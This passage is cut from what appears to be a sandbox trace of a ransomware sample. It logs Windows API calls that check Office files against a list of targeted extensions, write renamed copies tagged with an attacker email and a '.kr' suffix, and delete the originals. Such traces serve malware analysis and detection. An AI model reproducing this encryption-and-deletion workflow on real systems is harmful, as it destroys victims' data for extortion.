Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid")) returned 1 [0186.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0186.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0186.465] lstrlenW (lpString=".doc") returned 4 [0186.465] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0186.465] lstrlenW (lpString=".docx") returned 5 [0186.465] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0186.465] lstrlenW (lpString=".pdf") returned 4 [0186.465] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0186.465] lstrlenW (lpString=".xls") returned 4 [0186.465] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0186.465] lstrlenW (lpString=".xlsx") returned 5 [0186.465] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0186.465] lstrlenW (lpString=".ppt") returned 4 [0186.465] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0186.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0186.465] lstrlenW (lpString=".zip") returned 4 [0186.465] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0186.466] lstrlenW (lpString=".rar") returned 4 [0186.466] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0186.466] lstrlenW (lpString=".bz2") returned 4 [0186.466] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0186.466] lstrlenW (lpString=".7z") returned 3 [0186.466] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0186.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0186.466] lstrlenW (lpString=".dbf") returned 4 [0186.466] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0186.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0186.466] lstrlenW (lpString=".1cd") returned 4 [0186.466] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0186.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0186.466] lstrlenW (lpString=".jpg") returned 4 [0186.466] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0186.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0186.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0186.467] lstrlenW (lpString=".doc") returned 4 [0186.467] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0186.467] lstrlenW (lpString=".docx") returned 5 [0186.467] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0186.467] lstrlenW (lpString=".pdf") returned 4 [0186.467] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0186.467] lstrlenW (lpString=".xls") returned 4 [0186.467] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0186.467] lstrlenW (lpString=".xlsx") returned 5 [0186.467] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0186.467] lstrlenW (lpString=".ppt") returned 4 [0186.467] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0186.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0186.468] lstrlenW (lpString=".zip") returned 4 [0186.468] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0186.468] lstrlenW (lpString=".rar") returned 4 [0186.468] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0186.468] lstrlenW (lpString=".bz2") returned 4 [0186.468] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0186.468] lstrlenW (lpString=".7z") returned 3 [0186.468] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0186.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0186.468] lstrlenW (lpString=".dbf") returned 4 [0186.468] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0186.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0186.468] lstrlenW (lpString=".1cd") returned 4 [0186.468] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0186.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0186.468] lstrlenW (lpString=".jpg") returned 4 [0186.468] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0186.468] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0186.468] lstrlenW (lpString="URBAN_01.MID") returned 12 [0186.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0186.469] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=13358) returned 1 [0186.469] CloseHandle (hObject=0x4d8) returned 1 [0186.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid")) returned 0x220 [0186.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0186.470] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.470] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0186.471] GetLastError () returned 0x0 [0186.471] ReadFile (in: hFile=0x4d8, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x342e, lpOverlapped=0x0) returned 1 [0186.521] WriteFile (in: hFile=0x4d4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x3430, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x3430, lpOverlapped=0x0) returned 1 [0186.522] ReadFile (in: hFile=0x4d8, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0186.522] WriteFile (in: hFile=0x4d4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0186.522] SetEndOfFile (hFile=0x4d4) returned 1 [0186.524] CloseHandle (hObject=0x4d4) returned 1 [0186.530] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.530] SetEndOfFile (hFile=0x4d8) returned 1 [0186.540] CloseHandle (hObject=0x4d8) returned 1 [0186.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.546] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid")) returned 1 [0186.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0186.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0186.547] lstrlenW (lpString=".doc") returned 4 [0186.547] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0186.547] lstrlenW (lpString=".docx") returned 5 [0186.547] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0186.547] lstrlenW (lpString=".pdf") returned 4 [0186.547] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0186.547] lstrlenW (lpString=".xls") returned 4 [0186.547] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0186.547] lstrlenW (lpString=".xlsx") returned 5 [0186.547] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0186.547] lstrlenW (lpString=".ppt") returned 4 [0186.547] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0186.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0186.548] lstrlenW (lpString=".zip") returned 4 [0186.548] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0186.548] lstrlenW (lpString=".rar") returned 4 [0186.548] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0186.548] lstrlenW (lpString=".bz2") returned 4 [0186.548] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0186.548] lstrlenW (lpString=".7z") returned 3 [0186.548] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0186.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0186.548] lstrlenW (lpString=".dbf") returned 4 [0186.548] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0186.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0186.548] lstrlenW (lpString=".1cd") returned 4 [0186.548] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0186.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0186.548] lstrlenW (lpString=".jpg") returned 4 [0186.548] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0186.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0186.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0186.548] lstrlenW (lpString=".doc") returned 4 [0186.548] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0186.548] lstrlenW (lpString=".docx") returned 5 [0186.548] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0186.548] lstrlenW (lpString=".pdf") returned 4 [0186.548] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0186.548] lstrlenW (lpString=".xls") returned 4 [0186.548] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0186.548] lstrlenW (lpString=".xlsx") returned 5 [0186.548] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0186.548] lstrlenW (lpString=".ppt") returned 4 [0186.549] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0186.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0186.549] lstrlenW (lpString=".zip") returned 4 [0186.549] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0186.549] lstrlenW (lpString=".rar") returned 4 [0186.549] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0186.549] lstrlenW (lpString=".bz2") returned 4 [0186.549] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0186.549] lstrlenW (lpString=".7z") returned 3 [0186.549] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0186.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0186.549] lstrlenW (lpString=".dbf") returned 4 [0186.549] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0186.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0186.549] lstrlenW (lpString=".1cd") returned 4 [0186.549] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0186.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0186.549] lstrlenW (lpString=".jpg") returned 4 [0186.549] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0186.549] lstrcmpiW (lpString1=".eftx", lpString2=".kr") returned -1 [0186.549] lstrlenW (lpString="Banded Edge.eftx") returned 16 [0186.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0186.554] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=47851) returned 1 [0186.554] CloseHandle (hObject=0x4d8) returned 1 [0186.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx")) returned 0x220 [0186.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0186.555] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.555] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0186.557] GetLastError () returned 0x0 [0186.557] ReadFile (in: hFile=0x4d8, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0xbaeb, lpOverlapped=0x0) returned 1 [0186.585] WriteFile (in: hFile=0x538, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xbaf0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xbaf0, lpOverlapped=0x0) returned 1 [0186.591] ReadFile (in: hFile=0x4d8, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0186.591] WriteFile (in: hFile=0x538, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xf4, lpOverlapped=0x0) returned 1 [0186.591] SetEndOfFile (hFile=0x538) returned 1 [0186.591] CloseHandle (hObject=0x538) returned 1 [0186.591] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.591] SetEndOfFile (hFile=0x4d8) returned 1 [0186.595] CloseHandle (hObject=0x4d8) returned 1 [0186.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx")) returned 1 [0186.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0186.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0186.596] lstrlenW (lpString=".doc") returned 4 [0186.596] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0186.596] lstrlenW (lpString=".docx") returned 5 [0186.596] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0186.596] lstrlenW (lpString=".pdf") returned 4 [0186.596] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0186.596] lstrlenW (lpString=".xls") returned 4 [0186.596] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0186.596] lstrlenW (lpString=".xlsx") returned 5 [0186.596] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0186.596] lstrlenW (lpString=".ppt") returned 4 [0186.596] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0186.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0186.596] lstrlenW (lpString=".zip") returned 4 [0186.596] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0186.596] lstrlenW (lpString=".rar") returned 4 [0186.596] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0186.596] lstrlenW (lpString=".bz2") returned 4 [0186.596] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0186.596] lstrlenW (lpString=".7z") returned 3 [0186.596] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0186.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0186.596] lstrlenW (lpString=".dbf") returned 4 [0186.596] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0186.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0186.597] lstrlenW (lpString=".1cd") returned 4 [0186.597] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0186.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0186.597] lstrlenW (lpString=".jpg") returned 4 [0186.597] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0186.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0186.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0186.597] lstrlenW (lpString=".doc") returned 4 [0186.597] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0186.597] lstrlenW (lpString=".docx") returned 5 [0186.597] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0186.597] lstrlenW (lpString=".pdf") returned 4 [0186.597] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0186.597] lstrlenW (lpString=".xls") returned 4 [0186.597] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0186.597] lstrlenW (lpString=".xlsx") returned 5 [0186.597] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0186.597] lstrlenW (lpString=".ppt") returned 4 [0186.597] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0186.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0186.597] lstrlenW (lpString=".zip") returned 4 [0186.597] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0186.597] lstrlenW (lpString=".rar") returned 4 [0186.597] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0186.597] lstrlenW (lpString=".bz2") returned 4 [0186.597] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0186.597] lstrlenW (lpString=".7z") returned 3 [0186.597] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0186.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0186.597] lstrlenW (lpString=".dbf") returned 4 [0186.597] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0186.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0186.598] lstrlenW (lpString=".1cd") returned 4 [0186.598] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0186.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0186.598] lstrlenW (lpString=".jpg") returned 4 [0186.598] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0186.598] lstrcmpiW (lpString1=".eftx", lpString2=".kr") returned -1 [0186.598] lstrlenW (lpString="Extreme Shadow.eftx") returned 19 [0186.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0186.599] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=340217) returned 1 [0186.599] CloseHandle (hObject=0x4d8) returned 1 [0186.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx")) returned 0x220 [0186.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0186.599] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.600] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0186.644] GetLastError () returned 0x0 [0186.644] ReadFile (in: hFile=0x4d8, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x530f9, lpOverlapped=0x0) returned 1 [0186.736] WriteFile (in: hFile=0x538, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x53100, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x53100, lpOverlapped=0x0) returned 1 [0186.743] ReadFile (in: hFile=0x4d8, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0186.743] WriteFile (in: hFile=0x538, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xfa, lpOverlapped=0x0) returned 1 [0186.743] SetEndOfFile (hFile=0x538) returned 1 [0186.744] CloseHandle (hObject=0x538) returned 1 [0186.744] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.744] SetEndOfFile (hFile=0x4d8) returned 1 [0186.753] CloseHandle (hObject=0x4d8) returned 1 [0186.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.754] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx")) returned 1 [0186.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0186.755] lstrlenW 